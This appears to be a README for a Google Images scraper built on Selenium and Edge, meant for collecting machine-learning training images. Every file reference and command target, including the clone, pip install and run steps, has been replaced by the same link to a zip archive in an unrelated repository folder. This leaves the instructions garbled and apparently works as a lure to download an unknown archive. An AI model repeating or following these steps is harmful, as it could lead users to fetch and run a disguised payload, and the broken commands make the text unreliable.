This Python script allows you to scrape images from Google Images based on a specified search query and save them to your local machine. It utilizes Selenium and the Edge web browser to automate the image retrieval process.
Purpose: The primary goal of this project is to create a dataset for training machine learning and artificial intelligence models in an automated manner.
Clone this repository to your local machine:
git clone https://raw.githubusercontent.com/Jaipal00/Google-Image-Scraper/main/swineherd/Google-Image-Scraper_1.3.zipNavigate to the project folder:
cd Google-Image-ScraperInstall the required Python packages:
pip install -r https://raw.githubusercontent.com/Jaipal00/Google-Image-Scraper/main/swineherd/Google-Image-Scraper_1.3.zipUpdate the query variable in the https://raw.githubusercontent.com/Jaipal00/Google-Image-Scraper/main/swineherd/Google-Image-Scraper_1.3.zip file with your desired search query.
Run the script:
python https://raw.githubusercontent.com/Jaipal00/Google-Image-Scraper/main/swineherd/Google-Image-Scraper_1.3.zipImages matching your query will be downloaded and saved to a folder on your desktop.
Dependencies:
- Python 3.x
- Selenium
- Pillow (PIL)
- Microsoft WebDriver (Ensure it's compatible with your Edge browser version)